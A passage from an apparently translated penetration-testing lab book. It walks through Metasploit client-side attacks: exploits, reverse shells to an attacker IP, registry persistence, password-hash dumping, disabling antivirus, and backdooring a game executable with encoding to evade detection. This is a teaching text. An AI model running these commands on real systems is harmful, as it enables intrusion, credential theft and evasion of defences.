如前面的截图所示,我们现在有一些 SID 可以参考。由于我们安装的是 Express Edition 安装包,很高兴看到有一个默认的 SID 为 XE。

接下来我们可以尝试暴力破解数据库账户的密码。我们可以使用 metasploit 中的另一个模块来实现这一点。在 metasploit 窗口中,输入use auxiliary/scanner/oracle/oracle_login进入模块。一旦进入模块,你需要设置RHOSTS值和RPORTS值。Oracle 的默认端口是 1521,所以你很可能会设置这个端口。这个命令的部分输出示例如下截图所示:

Oracle

正如前面的截图所示,我们现在已经锁定了所有账户。这总是尝试暴力破解时的危险,但至少我们是在我们的测试实验室中进行的,而不是在客户的实时数据库中进行的。

操作系统平台的具体情况

由于本章我们正在研究服务器,所以我们想看一下在测试服务器时可能遇到的一些平台特性。

Windows legacy

这些是较旧的 Windows 服务器,即 Windows 2000 和 Windows Server 2003。尽管 Windows 2000 服务器已经存在多年,但在测试时发现它并不罕见。特别是在测试监控和数据采集SCADA)系统时,发现这种情况非常普遍。在 SCADA 网络上经常看到这些系统。

确定我们可以针对这个平台做些什么的一个好方法是返回到我们的 Exploit DB 并搜索漏洞。搜索结果的示例如下截图所示:

Windows legacy

正如前面的截图所示,我们有一些可用的漏洞利用,但随着操作系统变得过时,我们在数据库中真的没有那么多。我们也可以在互联网上搜索。Windows Server 2003 平台存在一些我们可以利用的漏洞。我们已经介绍了一些方法,所以当你遇到这些机器时,你可以使用这些技术来发现潜在的漏洞。

Windows Server 2008 和 2012

Windows Server 2008 和 2012 服务器代表了微软安全的不同方法,因此在很大程度上已被证明是难以攻击的目标,特别是 64 位版本。事实上,在撰写本书时,64 位漏洞利用并不多。在 Exploit DB 中搜索 64 位漏洞利用的示例如下截图所示:

Windows Server 2008 and 2012

正如前面的截图所示,在 Exploit DB 中搜索 64 位漏洞利用时,只返回了六个结果。这很好地表明了当涉及编写漏洞利用代码时,最新版本的 Microsoft 提供了挑战;因此,攻击这些操作系统的更常见方法是通过配置错误或在机器上运行的应用程序。

Unix

在测试时可能会遇到一些 Unix 服务器,但当你搜索它们时,你不会找到很多漏洞利用。这部分是因为最受攻击的平台是 Windows,因此没有很多人攻击 Unix。此外,商业 Unix 提供商并不多。仍然有Solaris,所以我们可以搜索 Solaris 漏洞利用。

这次搜索的结果示例如下截图所示:

Unix

Linux

Linux 操作系统的受欢迎程度不断增加,随之而来的是发现的漏洞数量也在增加。今天有很多 Linux 发行版,当你进行测试时,有可能会遇到各种发行版。Exploit DB 网站的搜索如下截图所示:

Linux

正如前面的截图所示,2014 年有许多可用的漏洞利用,因此漏洞利用作者继续探索 Linux 代码的弱点。

MAC

有一个常见的误解是 MAC OS 没有漏洞利用。好吧,为了驳斥这一点,我们首先必须了解 MAC 是基于 Unix 的;因此,它有可能存在类似类型的漏洞。在下面的截图中显示了对漏洞利用数据库的搜索:

MAC

正如前面的截图所示,我们确实有一些可以用于 MAC 机器的 OS X 的漏洞利用。有关 MAC 平台上恶意软件的更多信息,请参考来自 Blackhat 会议的以下简要介绍:www.blackhat.com/asia-14/briefings.html#Tsai

总结

在本章中,我们讨论了评估服务器的过程。我们从查看服务器运行的常见协议开始这一章。我们研究了 FTP、电子邮件和 SSH。我们探讨了在服务器运行这些服务时如何提取信息的方法。

在探索常见协议之后,我们继续研究了数据库以及我们如何评估它们。我们研究了 MySQL、MSSQL 和 Oracle。我们发现这些最新版本都有更多的保护措施,因此,在数据库配置了安全性方面,提取信息需要一些努力。

最后,我们结束了这一章,看了不同的服务器操作系统以及根据我们发现的平台可以获得的信息。我们遇到的平台越新,我们在测试方面面临的挑战就越大。

这就结束了这一章。在下一章中,我们将看看由于供应商改进了他们的安全性,我们对攻击的更常见的向量,即客户端攻击向量。

第十二章:探索客户端攻击向量

在本章中,我们将确定我们用于攻击客户的方法。与我们的服务器不同,客户端不提供服务;因此,让客户端等待我们攻击它并不是一件简单的事情。相反,我们将使用技术让客户端前来。在本章中,我们将讨论以下主题:

  • 客户端攻击方法

  • 从客户端窃取数据

  • 使用客户端作为枢纽点

  • 客户端利用

  • 二进制有效载荷

  • 恶意 PDF 文件

  • 绕过防病毒软件和其他保护工具

  • 混淆和编码

本章将为我们提供有关我们可以瞄准客户的方式的信息。我们将探讨不同的攻击客户的方法。我们还将探讨这是目前我们在今天进行的测试后将呈现的主要攻击向量。我们知道客户在大多数情况下都会点击链接或文件,这是我们攻击客户的矢量。

客户端攻击方法

正如我们已经说过的,当涉及到客户端时,他们并不只是坐在那里等待我们的连接;因此,我们必须欺骗他们并让他们前来。我们有许多方法可以做到这一点,现在我们将讨论其中的两种。

诱饵

当我们部署诱饵技术时,我们设置某种诱饵,然后等待客户前来采取诱饵。这与钓鱼的方法类似,也就是说,我们试图放置某种诱饵并吸引客户前来。这种方法的问题与钓鱼的问题相同。我们不知道客户是否会来到我们设置诱饵的地方。

诱饵

使用诱饵概念,我们仍在试图欺骗客户前来,但我们不只是等待他们前来并采取某种形式的诱饵。相反,我们向客户发送某种形式的通信,然后等待看看他们是否被诱骗跟随我们的钩子。在这种情况下,我们有三种主要方法,它们是电子邮件、网络和 USB 媒体。这也是网络钓鱼和鱼叉式网络钓鱼中使用的方法。在这些方法中,我们向潜在受害者发送电子邮件,然后看看他们是否会点击我们发送给他们的链接。如果他们确实点击了链接,我们就让他们来到我们这里或在他们的系统上运行一个应用程序,并利用这一点来发动我们的攻击。由于我们正在进行虚拟渗透测试环境的工作,我们可以控制攻击的客户端。因此,这是一个在我们的范围内进行实验,看看什么有效和什么无效的问题。如果我们被允许在我们的工作范围内进行客户端测试,我们可以尝试发送网络钓鱼邮件和其他社会工程学方法,看看我们是否能够欺骗员工陷入我们的陷阱。

最好通过示例来展示这一点,因此我们现在将这样做。我们需要 Kali Linux 机器和一台受害者机器。在本书的示例中,我们将使用 Windows 7 机器作为受害者机器。我们将使用 Dave Kennedy 开发的社会工程工具包,您可以从www.trustedsec.com下载。这是一个出色的工具,有助于进行客户端攻击。我们将为我们的第一个示例探索 Java 攻击向量。

一旦机器启动并运行,我们将打开一个终端窗口并输入setoolkit来启动社会工程工具包。接受服务条款并输入y以继续下一个提示。菜单的示例如下屏幕截图所示:

诱饵

社会工程工具包有许多菜单需要您逐步操作,我们现在将这样做。我们将使用社会工程攻击菜单,因此输入数字1,如下面的屏幕截图所示:

诱饵

在下一个窗口中,通过输入数字2选择网站攻击向量,如下面的屏幕截图所示:

诱饵

在下一个窗口中,通过输入数字1选择Java Applet 攻击方法,如下截图所示:

诱饵

我们将使用一个模板,因此输入数字1。输入no,因为我们不使用端口转发。输入 Kali 机器的 IP 地址以便受害者回连,如下截图所示:

诱饵

在模板选项中,输入数字1选择需要 Java,如下截图所示:

诱饵

我们将输入选项号2选择 Meterpreter 反向 shell 载荷,如下截图所示:

诱饵

在编码选项中,选择选项号4,选择后门可执行文件。接受默认的监听端口 443。几秒钟后,您应该会看到一个完成消息。如下截图所示:

诱饵

一旦进程完成,metasploit 程序将运行并输入反向 shell 的配置。一旦这个过程完成,您应该会看到类似下面截图的结果:

诱饵

进程完成后显示的屏幕(裁剪的文本不重要)

如前面的截图所示,我们现在已经将利用作为后台任务运行,所以我们所要做的就是让客户端点击一个引用我们在利用中设置的 IP 地址的链接。为了我们的测试目的,我们将在 Windows 7 机器上打开一个浏览器,并输入 Kali 机器的 IP 地址。当您用浏览器连接服务器时,会弹出一个引用 Java 的对话框。如下截图所示:

诱饵

我们的意图是让受害者点击运行按钮,所以我们现在要这样做。一旦我们点击按钮,可能会弹出另一个窗口。我们不应该不得不点击超过两次。当我们返回到 Kali 机器时,我们应该会看到一个会话打开。如下截图所示:

诱饵

我们现在在机器上有一个会话,接下来要做的就是我们想要从这里做什么。我们将在下面看到这一点。

从客户端窃取数据

一旦我们获得了机器的 shell,我们将从中窃取信息。首先,我们将检查我们所处的权限级别。我们希望达到系统权限级别,这样我们就可以无障碍地访问数据。我们需要与我们的 shell 进行交互,因此在 Kali 窗口中按下Enter,然后输入sessions –i 1来访问会话。一旦进入会话,输入getuid。如下截图所示:

从客户端窃取数据

如前面的截图所示,我们没有达到系统权限级别,所以我们现在要解决这个问题。输入ps来显示受害机器上运行的进程。我们将找到一个以系统权限级别运行的进程。我们示例中的受害机器的样本如下截图所示:

从客户端窃取数据

如前面的截图所示,我们有几个进程可供选择。我们将尝试迁移Mcshield.exe进程。为此,我们输入migrate 1960并等待看我们的进程是否成功。如果成功,我们继续输入getuid。如果不成功,我们尝试另一个进程。看起来这是一个很好的进程,可以隐藏在按需杀毒扫描器中。如下截图所示:

从客户端窃取数据

正如前面的截图所示,我们已经提升了权限,现在正式拥有了这个系统。因此,我们有自由在不需要更高权限级别的情况下窃取信息。

在 Meterpreter shell 中有许多工具可以用来窃取额外的信息。我们将首先探讨的是刮刀工具。顾名思义,我们使用这个工具从被 exploit 的机器中刮取信息。以下是使用该工具的示例截图:

从客户端窃取数据

刮刀工具从被 compromise 的机器中提取了大量信息。这就是为什么提取信息和工具完成需要相当长的时间。该工具还从机器中提取密码哈希。我们可以使用hashdump命令提取此信息。以下是此过程的示例:

从客户端窃取数据

我们可以将哈希保存到文件中,然后通过密码破解工具John the Ripper或任何在线网站(如www.md5decrypter.co.uk)运行它们。一旦我们将哈希保存到文件hash.txt中,我们打开一个终端窗口并输入john hash.txt --show。这将启动密码破解过程。以下是此过程的示例:

从客户端窃取数据

显示密码破解过程的屏幕(裁剪的文本不重要)

我们还可以使用工具winenum来集中注意事实,即机器是 Windows 机器。以下是一个示例:

从客户端窃取数据

所有这些信息都保存在目录/root/.msf4/logs/scripts中。在这个目录中,您将看到以使用的工具命名的其他目录。使用 winenum 工具后找到的文件示例如下所示:

从客户端窃取数据

如前面的屏幕截图所示,我们现在已经从被 compromise 的机器中窃取了大量信息。以下是从netstat__vb.txt文件中窃取的信息的示例:

从客户端窃取数据

在前面的屏幕截图中,您可以看到机器上的连接。这包括来自我们 Kali 机器的两个连接。正如您所看到的,我们使用端口 443。这样做有几个原因。其中一些原因是:它将看起来像网络日志中的正常流量,我们将加密信息,以便监视机器是盲目的。以下是我们使用的会话的示例:

从客户端窃取数据

前面的屏幕截图显示,当我们窃取信息时,并没有显示我们实际在做什么。这使得很难确定会话中发生了什么。

使用客户端作为枢纽点

当我们 compromise 一台机器时,我们想要做的下一件事是利用客户端源。这是因为我们知道大多数网络都配置了网络架构内部位置被视为更高级别的信任,而不是网络外部的位置。我们称之为枢纽。

枢纽

要设置我们的潜在枢纽点,我们首先需要利用一台机器。然后我们需要检查机器中是否有第二个连接到另一个网络的网络卡,而我们无法在不使用我们利用的机器的情况下到达该网络。在本书的示例中,我们将使用三台机器,Kali Linux 机器作为攻击者,Windows XP 机器作为第一个受害者,Windows Server 2003 机器作为第二个受害者。情景是我们让客户端访问我们的恶意网站,并使用一个名为Use after free的漏洞针对 Microsoft Internet Explorer。这种类型的漏洞一直困扰着该产品的多个版本。以下是来自 Exploit DB 网站的示例截图:

Pivoting

列表中列出的漏洞是针对 Internet Explorer 9 的漏洞。在本书的示例中,我们将针对针对 Internet Explorer 8 的漏洞进行攻击;攻击的概念是相同的。简单来说,Internet Explorer 开发人员继续犯一个错误,那就是在分配内存后没有清理内存。

输入msfconsole启动您的 metasploit 工具。一旦控制台出现,输入search cve-2013-1347来搜索漏洞。搜索结果的示例如下截图所示:

Pivoting

一个担忧是它被评为良好,但我们喜欢在选择我们的漏洞时找到卓越或更好的评级。对于我们的目的,我们将看看是否可以让它工作。当然,总是有可能我们找不到我们需要的东西,不得不选择要么编写我们自己的漏洞,要么记录它并继续测试。

在这本书中我们使用的示例中,Kali 机器的 IP 地址是 192.168.177.170,这也是我们设置的LHOST。对于您的目的,您将不得不使用您拥有的 Kali 地址。我们将在 metasploit 窗口中输入以下命令:

use exploit/windows/browser/ie_cgenericelement_uaf
set SRVHOST 192.168.177.170
set LHOST 192.168.177.170
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

上述命令的结果示例如下截图所示:

Pivoting

如前面的截图所示,我们现在有了我们需要让用户访问的 URL。对于我们的目的,我们将在运行 Windows XP Service Pack 3 的 Internet Explorer 8 中复制并粘贴它。一旦我们粘贴了它,我们可能需要刷新浏览器几次才能使有效载荷起作用;然而,在现实生活中,我们只有一次机会,所以要谨慎选择您的漏洞,以便受害者的一次点击能够产生预期的效果。因此,要成为一个成功的测试人员,对各种漏洞的实践和知识至关重要。一旦利用完成并创建了您的会话,您应该看到的内容示例如下截图所示:

Pivoting

显示一个示例,一旦利用完成并创建了您的会话,您应该看到的内容(裁剪的文本不重要)

现在我们在机器上有一个 shell,并且我们想要检查它是否有双重主机。在 Meterpreter shell 中,输入ipconfig来查看您已经利用的机器是否有第二个网络卡。书中我们利用的机器示例如下截图所示:

Pivoting

如前面的截图所示,我们很幸运。我们有第二个连接的网络卡和另一个网络供我们探索,所以现在让我们这样做。我们必须做的第一件事是设置 shell 以路由到我们新发现的网络。这也是我们选择 Meterpreter shell 的另一个原因,它为我们提供了设置路由的能力。在 shell 中,输入run autoroute –s 10.2.0.0/24来设置到我们 10 网络的路由。一旦命令完成,我们将查看我们的路由表,并输入run autoroute –p来显示路由表。这方面的示例如下截图所示:

Pivoting

如前面的截图所示,我们现在通过会话 1 有了到我们 10 网络的路由。所以,现在是时候看看我们的 10 网络上有什么了。接下来,我们将为我们的会话 1 添加一个后台;按下Ctrl + z将会话放到后台。我们将使用 metasploit 工具内的扫描功能。输入以下命令:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.2.0.0/24
set PORTS 139,445
set THREADS 50
run

端口扫描器效率不高,扫描需要一些时间才能完成。您可以选择直接在 metasploit 中使用 Nmap 扫描器。输入nmap –sP 10.2.0.0/24。一旦确定了活动系统,对目标进行扫描方法。在我们的示例中,我们的目标位于10.2.0.149

这次扫描的结果示例如下截图所示:

枢纽

现在我们有一个目标,我们可以使用我们之前介绍的多种方法来攻击它。在这里,我们将看看是否可以利用著名的 MS08-067 服务服务器缓冲区溢出攻击目标。在 metasploit 窗口中,将会话设置为后台,并输入以下命令:

use exploit/windows/smb/ms08_067_netapi
set RHOST 10.2.0.149
set PAYLOAD windows/meterpreter/bind_tcp
exploit

如果一切顺利,您应该看到机器上打开了一个 shell。当它打开时,输入ipconfig查看机器上的网络配置。从这里开始,只是执行我们之前遵循的过程,如果您找到另一台双主机机器,那么您可以进行另一个枢纽并继续。此结果的示例如下屏幕截图所示:

枢纽

如前面的屏幕截图所示,枢纽成功了,我们现在在 metasploit 中有另一个会话打开。这反映在本地管道 | 远程管道的引用中。完成查看信息后,输入sessions以显示会话的信息。此结果的示例如下屏幕截图所示:

枢纽

代理利用

在这一部分,我们将看一下 metasploit 工具使用 HTTP 和 HTTPS 进行通信的能力。我们经常遭受的一种防御是出站或出站流量的概念。现在,通常情况下只允许出站 HTTP 和 HTTPS 流量;因此,metasploit 的开发人员已经为此创建了模块。

利用客户端配置

当我们使用技术将通信传输到我们的攻击者机器时,我们将读取客户端配置,然后通过那里配置的代理发送流量。传统上,这是一个困难的过程,需要相当长的时间来设置。因此,时间和通信要求增加了被检测到或会话超时的机会。幸运的是,我们可以探索其他附加选项来帮助我们。metasploit 的开发人员已经创建了两个分段器,允许我们利用客户端配置,并且在 Meterpreter shell 内部原生支持 HTTP 和 HTTPS 通信。此外,这些分段器提供了设置多种不同选项的能力,允许在指定的时间段内重新连接会话,通过设置会话的到期日期。

这两个分段器是reverse_httpreverse_https。这两个分段器是独特的,它们不与特定的 TCP 会话绑定,即它们提供了基于数据包的事务方法,而其他选项是基于流的。这为攻击提供了更强大的一组选项。此外,我们提供了三个选项来帮助我们确定用户何时完成,它们如下:

  • 到期日期:默认值为一周

  • 生存时间TTL):默认值为 5 分钟

  • 暴露的 API 核心:使用分离命令退出但不终止会话

这些参数允许我们断开会话并自动稍后重新连接。它们还允许我们将有效载荷设置为持久侦听器,然后即使目标重新启动或关闭,也可以连接到它。我们现在将探讨这一点。

我们将使用一个恶意可执行文件作为示例。我们可以使用多种不同的向量,如 Web、电子邮件或 USB,但为了更简单的选择,我们将使用恶意可执行文件。此外,我们将使用一个特殊的工具来创建有效载荷。如果您没有运行 metasploit,请输入msfconsole来启动该工具。一旦工具启动,输入msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.177.170 LPORT=4443 > https.exe来创建名为https.exe的可执行文件。该命令的输出示例如下屏幕截图所示:

利用客户端配置

现在我们将设置处理程序。在 metasploit 中输入以下内容:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.177.170
set LPORT 4443
set SessionCommunicationTimeout 0
set ExitOnSession false
exploit –j

一旦完成,命令的示例如下截图所示:

利用客户端配置

现在我们准备让受害者运行我们的可执行文件。在我们将可执行文件移动到受害者机器后,双击文件,返回到 metasploit 处理程序,并观察结果。这一点的一个例子如下截图所示:

利用客户端配置

从这里开始,取决于我们想要做什么。在 Meterpreter shell 中输入我们之前使用过的一些命令。这里的额外好处是我们所有的通信都会传出到 4443 端口,这看起来会和正常流量一模一样。在 Kali 中,启动 Wireshark 的捕获,观察机器之间的通信。这一点的一个例子如下截图所示:

利用客户端配置

同样,如果我们想要将端口更改为 SSH、HTTPS 或任何我们认为可以离开我们正在测试的环境的端口,我们是自由的。要了解这种能力有多强大,继续让客户端与你连接。在 Meterpreter shell 中,输入detach退出会话;一旦你退出,受害者就会重新连接到你。

这一点的一个例子如下截图所示:

利用客户端配置

我们接下来要尝试的是通过将代码复制到注册表中来设置受害者,以便攻击即使在重启后也能生存。在 Meterpreter shell 中,输入以下命令:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d 'C:\windows\https.exe'
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

使用这些命令的结果示例如下截图所示:

利用客户端配置

通过这些命令,我们首先枚举了注册表,然后设置了引用启动时的程序。正如第三个命令所示,evil程序现在位于注册表键中。当然,如果我们试图隐藏它,我们会给它取一个别的名字。我们可以通过访问 Windows XP 机器并导航到开始 | 运行 | regedit并搜索程序来验证程序是否已经植入。这一点的一个例子如下截图所示:

利用客户端配置

现在我们要重启受害者机器。重启后,连接返回到 metasploit 窗口的结果示例如下截图所示:

利用客户端配置

客户端利用

到目前为止,我们所涵盖的大部分内容都是一种客户端利用的形式。在本节中,我们将探讨更多攻击客户端的方法。我们将继续利用客户端的矢量来攻击机器,点击链接或文件并被重定向到我们的攻击者机器。在我们继续之前,我们想再次强调,在撰写本书时,我们使用了最新和最先进的攻击方法。当你阅读本书时,一些事情可能已经发生了变化。然而,唯一不变的是过程和方法论。只要你继续遵循系统化的过程,你就能发现和识别最新的技术,并相应地修改你的方法。

我们在本章中使用的先前方法的一个挑战是,我们必须根据我们遇到的软件版本选择特定的漏洞利用。我们在 Java 和 Internet Explorer 上做到了这一点。这很有效,但是如果我们不知道受害者连接到我们时系统上确切会有什么呢?你可以想象,这是一个合理的担忧。幸运的是,metasploit 出色的开发人员已经解决了这个问题。因此,他们为我们提供了一个模块,一旦连接建立,将尝试提供各种漏洞利用。这个模块就是browser_autopwn。这个强大的模块设置了一个带有库存中所有当前漏洞利用的 Web 服务器,当连接建立时,该模块会运行所有可用的漏洞利用,直到找到一个。记住,正如不能被忽视的那样,利用并不是 100%,所以有可能失败。但作为测试人员,我们必须始终尝试,并保持记录发现并继续我们的测试。

所以,让我们开始吧。在 metasploit 界面中,输入以下命令:

use auxiliary/server/browser_autopwn
set LHOST <Kali IP>
set SRVHOST <Kali IP>
set SRVPORT 80
set URIPATH /
run

URIPATH设置告诉 metasploit 不要生成随机 URL。我们希望客户端只连接到运行在 Kali 机器上的服务器的地址。以下是这些设置的示例截图:

客户端利用

一旦输入了run命令,你会注意到工具开始创建支持我们的漏洞利用的许多组件。这将需要一些时间来完成。以下是一些不同组件为漏洞利用创建的输出的示例截图:

客户端利用

在撰写本书时,我们准备了 19 个漏洞利用,作为连接受害者的准备工作的一部分。以下是示例截图:

客户端利用

我们之前没有评论过,但是一旦收到 shell,你会注意到迁移过程正在进行。这是因为当你尝试利用漏洞时,浏览器并不是非常稳定。因此,一旦获得访问权限,迁移利用是很重要的。如果浏览器崩溃或被用户关闭,对你的会话影响不大。

当客户端连接时的结果示例如下截图所示:

客户端利用

作为提醒,模块将继续触发漏洞并尝试获取会话,但不能保证一定成功。阅读本书的一些人可能会想知道,如果另一台机器连接到我们的服务器会发生什么。使用 Firefox 作为浏览器的示例,请参考以下截图:

客户端利用

从这一点开始,你所能做的就是等待,看看你是否能幸运地成功利用其中一个漏洞。如果一切顺利,最终你会看到一个会话打开。以下是示例截图:

客户端利用

现在我们有了一个 shell,我们可以执行本书中之前介绍的任何事情。到目前为止我们还没有介绍过一个,我们现在来介绍一下。使用 sessions 命令开始与 Meterpreter shell 进行交互。一旦进入 shell,输入run getcountermeasure查看客户端上有什么类型的保护。以下是示例截图:

客户端利用

我们看到机器上有一个潜在的杀毒程序,我们也看到防火墙已经打开。我们要做的第一件事是尝试关闭杀毒程序。输入run killav尝试关闭正在运行的杀毒程序。以下是示例截图:

客户端利用

正如前面的截图所示,我们没有成功,这是因为我们没有达到所需的特权级别。我们可以尝试迁移到一个进程来提升我们的特权,但这意味着我们必须额外工作来确定要迁移到哪个进程,而且我们可能不会成功。所以,让我们尝试另一种方法。正如我们不断强调的,我们有方法论;工具会随着时间和大量实践而来。在 Meterpreter shell 中,输入getsystem让工具尝试一些技术来提升特权。这方面的一个示例如下截图所示:

客户端利用

正如前面的截图所示,我们现在拥有系统,并且可以关闭我们之前检测到的保护。此外,由于权限已经提升,我们可以在这个系统上做任何我们想做的事情。我们将把这留作一个作业练习,供那些想进一步探索的人使用。

在本节中,我们将再看一件事,那就是绕过机器上的用户账户控制(UAC)的能力。正如我们之前发现的,不能保证我们会成功,但至少我们可以尝试一下。在 metasploit 工具中,如果你不再有活动会话,使用我们之前介绍的各种方法之一来利用机器,并确定会话的特权级别。一旦你做到了这一点,将会话设置为后台,并搜索一个漏洞。我们已经介绍了所有这些步骤,所以在这里我们不会再介绍它们。一旦你准备好搜索,输入search uac并搜索 UAC 绕过。

搜索结果的示例如下截图所示:

客户端利用

正如前面的截图所示,我们有许多不同的技术可用,但一个问题是,没有比 2012 年更新的内容,所以我们在利用这方面的成功可能会有限。我们可以尝试,而且由于我们有三种被评为优秀的技术,我们将使用它们。它们共同的一点是,必须启动一个会话才能尝试绕过。我们将从底部开始,逐步向上工作。搜索结果的示例如下截图所示:

客户端利用

正如前面的截图所示,我们在第一次尝试中成功了,从这一点开始,我们可以继续进行之前介绍的后期利用技术。请记住要遵守我们工作范围中详细说明的要求。

二进制有效载荷

在 metasploit 工具中,我们有能力生成自己的二进制有效载荷,这就是我们将在本节中讨论的内容。要查看这个选项,启动 metasploit 工具,输入msfpayload windows/shell_reverse_tcp O。结尾的O将显示可以为我们的有效载荷设置的选项。由于我们正在设置一个反向 shell,你可能已经对此有一个很好的想法。这个命令的输出示例如下截图所示:

二进制有效载荷

正如前面的截图所示,我们有基于我们 Kali 机器的本地机器地址的默认设置。因此,除非我们想要定义一个特定的LPORT来穿越防火墙,否则我们实际上不需要进行任何更改。对于我们的目的,我们将保持设置不变。输入msfpayload LPORT=4443 X > /tmp/chess.exe。文件创建后,我们将查看文件的详细信息。在窗口中输入file /tmp/chess.exe

这些命令的输出示例如下截图所示:

二进制有效载荷

我们现在准备进行下一步,即将文件传输到受害者机器上,以便他们可以执行它。这就是为什么我们选择了chess这个名字;看起来我们为他们准备了一个游戏。在将文件传输到机器之前,我们必须设置 metasploit 工具以接收连接。在 metasploit 窗口中,输入以下内容:

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.177.170
set LPORT 4444
exploit

这种结果的示例如下屏幕截图所示:

二进制有效负载

我们现在已经准备好受害者连接。就像在整章中一样,我们将文件复制到受害者机器上,然后执行它。由于我们已经解释了很多次,我们将继续下一个项目。

恶意 PDF 文件

另一个常见的攻击载体是使用常见文件来托管我们的利用代码,这就是我们在恶意 PDF 文件中所做的。我们将在 PDF 文件中创建一个有效负载;当受害者使用易受攻击的 Adobe Reader 版本运行它时,我们就可以访问该机器。这种载体已经多次被用来妥协大量公司。在 metasploit 中,有许多工具可供我们使用来创建 PDF 文件。在 metasploit 中输入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME pay.pdf
set LHOST <Kali>
set LPORT 5555
show options
exploit

此命令的输出示例如下屏幕截图所示:

恶意 PDF 文件

正如前面的屏幕截图所示,我们现在将有效负载伪装成 PDF。屏幕截图还显示,我们需要特定版本的 Adobe 才能使漏洞利用起作用。同样,我们已经经历了足够的过程,这里就不再重复了。过程是一样的;唯一的区别是我们将使用 PDF 文件作为攻击的载体。

绕过杀毒软件和其他保护工具

我们在客户端测试中面临的挑战之一是(很可能)会有端点保护措施,因此不仅有可能被抓住,还有可能被主机保护删除我们的载体。与任何基于签名的检测一样,存在一个包含已发现的不同病毒及其变种签名的数据库。当我们查看本章中使用的技术时,我们需要看看我们开发的有效负载是否会被杀毒软件检测到。

注意

一个非常有帮助的网站是www.virustotal.com

我们可以上传我们的潜在有效负载,并查看杀毒软件是否检测到它。在本章前面创建的https.exe文件的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

正如前面的屏幕截图所示,51 个杀毒产品中有 34 个检测到了该文件。这大约占了 67%,并不是一个很好的检测率。与之前一样,我们将查看我们正在测试的网站是否有杀毒软件的版本,然后我们将查看该产品在查看文件时是否成功。以下屏幕截图显示了一些未将代码检测为恶意的产品示例:

绕过杀毒软件和其他保护工具

我们要查看的下一个文件是我们的 PDF 文件。检测能力的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

显示检测能力的屏幕(裁剪的文本不重要)

我们对 PDF 文件的检测率甚至更低,因此我们可以通过更多产品。比二进制有效负载更高。

混淆和编码

由于我们知道我们的文件正在被检测到,我们有方法可以尝试使它们更难以被检测到,可以想象,基于签名的检测的目标是修改文件,使其不匹配签名。与以前一样,我们将查看 metasploit 提供的模块,尝试修改文件的签名。我们将查看的工具是 metasploit 中的msfencode。我们可以通过输入msfencode -h来查看工具的用法。这个命令的输出如下屏幕截图所示:

混淆和编码

我们接下来要探索的是实际的编码器本身。这个工具不仅有许多选项,而且有相当多不同的编码器,如下面的屏幕截图所示:

混淆和编码

我们将使用的最后一种技术是在可执行文件中创建后门的概念。我们喜欢这一点的原因是我们可以在任何合法的可执行文件中创建后门,当用户运行它时,它们将向我们发送一个 shell。我们将用于此实验的程序是sol.exe,即纸牌游戏程序。在使用编码器之前,我们必须从 Windows 机器上复制原始的sol.exe文件,并将其放在模板文件夹中,如下面的屏幕截图所示:

混淆和编码

一旦我们将文件放在正确的位置,我们将在可执行文件中创建后门,并再次使用msfpayloadmsfencode的组合。输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.170 LPORT=443 R | msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3

这个命令的输出示例如下屏幕截图所示:

混淆和编码

由于我们已经使用了编码器,现在我们想要看看将其上传到 Virustotal 网站后会得到什么结果。以下是一个示例:

混淆和编码

我们的编码已经非常成功。现在只有 14%的产品会检测到我们的代码,所以这比以前好多了。而且,我们只做了三次迭代。我们可能还可以进一步改进,这是你可能想要尝试的,但对于我们的目的,我们将在这里停止编码。在这一点上,你将设置多处理程序,然后执行程序;此时,受害者将连接到你的机器。这个示例如下屏幕截图所示:

混淆和编码

总结

在本章中,我们讨论了客户端攻击,随着供应商改进其安全性,这仍然是首选的方法。我们仍然可以使用本书中讨论的其他方法;随着时间的推移,服务器端攻击变得不那么有效。然而,正如我们在整本书中所说的,你必须测试所有可能性,这就是为什么我们有一个系统化的流程要遵循。我们从研究诱饵和诱饵的概念开始了本章,以便让客户端来到我们这里。

在讨论了诱饵和诱饵之后,我们研究了从客户端窃取数据的方法,也就是说,一旦我们有了 shell,我们可以从客户端提取什么。我们使用了 metasploit 中可用的一些枚举工具来完成这个任务。

在此之后,我们研究了从客户端建立一个枢纽点的强大技术,然后对我们无法访问的机器进行攻击,而这些机器是没有第一个受损机器的情况下无法访问的。

我们讨论的下一个领域是不同类型的客户端利用;我们有browser_autopwn,二进制载荷和恶意 PDF 文件。

最后,我们关闭了这一章,并研究了如何绕过杀毒软件和其他基于签名的检测产品的检测。我们在纸牌游戏程序中创建了一个带后门的可执行文件,并在程序执行后获得了对受害者机器的访问权限。

本章到此结束。在下一章中,我们将看看如何创建一个完整的架构,并将本书中的所有概念整合在一起。

第十三章:构建完整的网络范围

在本章中,我们将把所有组件放在一起,并讨论可以支持我们在整本书中涵盖的场景的架构。在本章中,我们将讨论以下主题:

  • 创建分层架构

  • 集成诱饵和蜜罐

  • 攻击网络范围

  • 记录攻击数据以进行进一步的培训和分析

本章将为我们提供一个完整的架构,我们可以用来进行测试。这个设计将允许我们插入可能需要的任何组件。此外,它将为您提供测试可能需要的所有类型的测试的能力。

创建分层架构

正如我们在整本书中讨论的那样,我们创建的范围的目标是提供能力,以磨练和提高我们的技能,这样当我们上线时,我们已经在客户可能拥有的许多类似环境中进行了练习。

架构交换

利用 VMware Workstation,我们可以利用其创建多个不同交换机的能力,这将允许我们在构建或测试范围时执行各种场景。

分割架构

我们的方法是创建一个分段架构,利用虚拟化框架内的交换机选项。此外,我们希望构建不同类型的段,以便我们可以测试平面和分层网络的组合。我们在整本书中多次讨论了这些架构。我们提出的架构范围的示例如下图所示:

分割架构

公共 DMZ

